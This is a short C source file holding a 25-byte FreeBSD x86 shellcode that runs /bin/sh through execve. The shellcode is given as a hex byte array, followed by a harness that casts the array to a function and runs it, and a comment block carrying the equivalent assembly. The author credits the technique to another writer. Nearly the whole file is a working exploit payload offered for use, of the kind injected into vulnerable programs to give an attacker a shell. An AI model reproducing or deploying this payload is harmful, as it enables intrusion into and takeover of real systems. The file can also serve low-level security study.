/* This is FreeBSD execve code.It is only 25 bytes long.This kind of making *
 * shell codes was published by anathema(all credits go to him). I just     *
 * rewrote it for FreeBSD                                                   *
 *                                        signed predator                   *
 *                                        linux registered user : 181116    *
 *                                        preedator(at)sendmail(dot)ru      */

char sc[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

int main(){
 void (*s)()=(void *)sc;
 printf("len : %d\n",strlen(sc));
 s();
}

//Asm code
/************************************
 *int main(){                       *
 *__asm__(" xorl %eax, %eax   \n"   *
 *        " pushl %eax        \n"   *
 *        " pushl $0x68732f2f \n"   *
 *        " pushl $0x6e69622f \n"   *
 *        " movl %esp,%ebx    \n"   *
 *        " pushl %eax        \n"   *
 *        " pushl %ebx        \n"   *   <<--- push %esp will work too :o)
 *        " pushl %eax        \n"   *
 *        " pushl %esp        \n"   *
 *        " pushl %ebx        \n"   *
 *        " movb $0x3b,%al    \n"   *
 *        " pushl %eax        \n"   *
 *        " int $0x80         \n"); *
 *}                                 *
 ************************************/